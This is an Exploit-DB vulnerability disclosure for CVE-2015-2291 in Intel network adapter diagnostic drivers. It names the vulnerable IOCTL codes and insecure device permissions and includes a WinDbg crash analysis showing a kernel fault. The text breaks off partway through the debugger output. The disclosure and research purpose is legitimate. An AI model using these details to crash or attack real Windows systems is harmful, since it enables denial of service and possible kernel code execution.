Exploit-DB #36392
Description: Intel Network Adapter Diagnostic Driver - IOCTL Handling
Type: dos
Platform: windows
Date: 2015-03-14
Author: Glafkos Charalambous

Exploit:
/*

Intel Network Adapter Diagnostic Driver IOCTL Handling Vulnerability
Vendor: Intel
Product webpage: http://www.intel.com
Affected product(s):
	Network Adapter Driver for Windows XP
	Network Adapter Driver for Windows 7
	Network Adapter Driver for Windows 8
	Network Adapter Driver for Windows 2008/R2
	Network Adapter Driver for Windows 2012/R2
Affected version(s): 
	Intel(R) iQVW64.SYS v1.03.0.7
	Intel(R) iQVW32.SYS v1.03.0.7
Tested Operating systems:
	Windows XP SP3 (32-bit)
	Windows 7 SP1 (32/64-bit)
Date: 14/03/2015
Credits: Glafkos Charalambous
CVE: CVE-2015-2291

Disclosure Timeline:
10-06-2014: Vendor Notification
21-06-2014: Vendor Response/Feedback
08-08-2014: Vendor Response/Feedback
26-08-2014: Requesting Status/No Vendor Response
30-09-2014: Requesting Status/No Vendor Response
22-10-2014: Requesting Status/No Vendor Response
10-01-2015: Requesting Status/No Vendor Response
15-01-2015: Requesting Status/No Vendor Response
14-03-2015: CVE Requested
14-03-2015: CVE Assigned
14-03-2015: Public Disclosure

Description:
A vulnerability in iqvw32.sys and iqvw64e.sys drivers has been discovered in Intel Network Adapter Driver.

The vulnerability exists due to insuffiecient input buffer validation when the driver processes IOCTL codes 0x80862013, 
0x8086200B, 0x8086200F, 0x80862007 using METHOD_NEITHER and due to insecure permissions allowing everyone read and write 
access to privileged use only functionality.

Attackers can exploit this issue to cause a Denial of Service or possibly execute arbitrary code in kernel space.


IOCTL 0x80862013
----------------
Microsoft (R) Windows Debugger Version 6.2.9200.20512 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

Opened \\.\pipe\com_2
Waiting to reconnect...
Connected to Windows 7 7601 x64 target at (Thu Feb 26 18:33:59.291 2015 (UTC + 2:00)), ptr64 TRUE
Kernel Debugger connection established.
Symbol search path is: srv*k:\symbols*http://msdl.microsoft.com/download/symbols;SRV*C:\Users\0x414141\AppData\Local\Temp\symbols\google*http://chromium-browser-symsrv.commondatastorage.googleapis.com;SRV*C:\Users\0x414141\AppData\Local\Temp\symbols\microsoft*http://msdl.microsoft.com/download/symbols
Executable search path is: 
Windows 7 Kernel Version 7601 MP (1 procs) Free x64
Built by: 7601.18700.amd64fre.win7sp1_gdr[PII_REDACTED]
Machine Name:
Kernel base = 0xfffff800`03655000 PsLoadedModuleList = 0xfffff800`03898890
System Uptime: not available
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x0000003b
                       (0x00000000C0000005,0xFFFFF88005A0BFD2,0xFFFFF8800653A9C0,0x[PII_REDACTED]000000)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Connected to Windows 7 7601 x64 target at (Thu Feb 26 20:29:05.978 2015 (UTC + 2:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
...............................
Loading User Symbols
.....
Loading unloaded module list
....Unable to enumerate user-mode unloaded modules, Win32 error 0n30
Loading Wow64 Symbols
.....
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Use !analyze -v to get detailed debugging information.

BugCheck 3B, {c0000005, fffff88005a0bfd2, fffff8800653a9c0, 0}

*** ERROR: Module load completed but symbols could not be loaded for iqvw64e.sys

Followup: MachineOwner
---------

nt!RtlpBreakWithStatusInstruction:
fffff800`036c3cb0 cc              int     3
3: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff88005a0bfd2, Address of the instruction which caused the bugcheck
Arg3: fffff8800653a9c0, Address of the context record for the exception that caused the bugcheck
Arg4: [PII_REDACTED], zero.

Debugging Details:
------------------

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

FAULTING_IP: 
iqvw64e+3fd2
fffff880`05a0bfd2 488b11          mov     rdx,qword ptr [rcx]

CONTEXT:  fffff8800653a9c0 -- (.cxr 0xfffff8800653a9c0)
rax=0000f88005a696d1 rbx=[PII_REDACTED] rcx=00000000deadbeef
rdx=[PII_REDACTED] rsi=fffffa804d1084d0 rdi=00000000deadbeef
rip=fffff88005a0bfd2 rsp=fffff8800653b3a0 rbp=fffff8800653bb60
 r8=fffffa804b0f4d70  r9=[PII_REDACTED]00000e r10=[PII_REDACTED]
r11=fffff8800653b898 r12=[PII_REDACTED] r13=[PII_REDACTED]
r14=[PII_REDACTED] r15=fffffa804aac7b00
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
iqvw64e+0x3fd2:
fffff880`05a0bfd2 488b11          mov     rdx,qword ptr [rcx] ds:002b:00000000`deadbeef=????????????????
Resetting default scope

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  ConsoleApplica

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from fffff88005a09